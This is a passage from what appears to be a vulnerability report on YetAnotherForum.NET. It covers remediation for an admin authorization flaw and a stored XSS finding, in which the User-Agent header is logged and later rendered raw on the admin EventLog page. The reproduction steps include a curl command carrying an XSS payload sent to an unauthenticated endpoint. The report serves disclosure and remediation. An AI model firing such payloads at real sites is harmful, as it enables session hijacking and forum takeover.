Observe that when the condition is true the response time increases, if false, it remains unchanged which confirms the presence of SQL Injection.

Remediation:

• Convert PageSecurityCheckAttribute from a ResultFilterAttribute to an IAsyncPageFilter so the admin check runs in OnPageHandlerExecutionAsync and short-circuits with AccessDenied() before any handler side effects occur.
• Layer an ASP.NET Core authorization policy as defense-in-depth: AddAuthorization(... AddPolicy("YafAdmin", ...)) combined with AuthorizeFolder("/Admin", "YafAdmin") in the Razor Pages conventions.
• Restrict /Admin/RunSql to HostAdmin only and wrap IDbAccess.RunSql in a statement-type allow-list that rejects non-read-only SQL, even for legitimate admins.
• Audit and fix any other authorization logic implemented in ResultFilterAttribute / OnResultExecuting(Async), they share the same lifecycle bug.
• Add regression tests that invoke each admin OnPost… handler as a non-admin and assert no database or filesystem side effects occur.

Description: Stored (second-order) Cross-Site Scripting (XSS) occurs when attacker-controlled input is persisted through one component of an application and later rendered, without proper sanitization or contextual output encoding, by a completely different component — often one that implicitly trusts the stored data. Because the dangerous sink is typically a privileged administrative interface, the payload executes in the browser of a high-value user (such as an administrator) and inherits their authenticated session. This class of issue is especially severe when the entry point is an HTTP header on an unauthenticated endpoint, since the attack surface extends to any anonymous attacker on the internet with no prerequisites.

Issue Details: The application's database logger (YAFNET.Core/Logger/DbLogger.cs) captures the incoming request's User-Agent header into a JObject, serializes it with JsonConvert, and stores the result in the EventLog.Description column whenever an event (e.g., an unhandled exception) is logged. The admin event-log page (YetAnotherForum.NET/Pages/Admin/EventLog.cshtml.cs) later deserializes that JSON in FormatStackTrace() and interpolates the UserAgent value directly into an HTML string with no encoding, and the Razor view EventLog.cshtml emits the result through @Html.Raw. Critically, the attacker does not need to be authenticated: the unauthenticated endpoint GET /api/Attachments/GetAttachment?attachmentId=2147483647 reliably triggers a server-side exception that is written to dbo.EventLog together with the attacker-controlled User-Agent. A single anonymous request such as curl -A "<img src=x onerror=alert('XSS')>" "http://<target>/api/Attachments/GetAttachment?attachmentId=2147483647" is sufficient to persist the payload, and when an administrator later visits /Admin/EventLog the malicious markup is rendered as live HTML in the admin's authenticated session.

Impact: An entirely unauthenticated attacker, with no account, no CSRF token, and no prior access, can stage JavaScript that will execute in an administrator's browser the next time the Event Log is viewed. Because the script runs in the admin's authenticated origin, it can perform any action the admin can: creating new administrative accounts, modifying site-wide settings, exfiltrating user data through admin-only endpoints. This effectively converts a single anonymous HTTP request into a full forum-takeover primitive, and the lack of any authentication requirement makes it exploitable at internet scale, including by automated scanners.

Likelihood: Exploitation requires only the ability to send a single HTTP request to a public, unauthenticated endpoint, which any anonymous attacker on the internet can do. Administrators routinely review the Event Log as part of normal operations, so payload delivery is highly probable with negligible attacker effort, making the overall likelihood very high.

Steps to Reproduce:

• From an unauthenticated session (no cookies, no tokens), send the following request with a malicious User-Agent header:
  • curl.exe -sS -A "<img src=x onerror=alert('XSS')>" "http://yetanotherforum.internal:8080/api/Attachments/GetAttachment?attachmentId=2147483647"
• Confirm the server returns an error response and that a row has been written to dbo.EventLog containing the attacker-controlled UserAgent value inside the JSON Description.
• As an administrator (e.g., Superuser), navigate to /Admin/EventLog.
• Observe that the rendered page contains the raw <img src=x onerror="alert('XSS')"> element inside the event's badge block, and that the onerror handler executes in the admin's authenticated session, confirming cross-session, cross-privilege script execution from an unauthenticated source.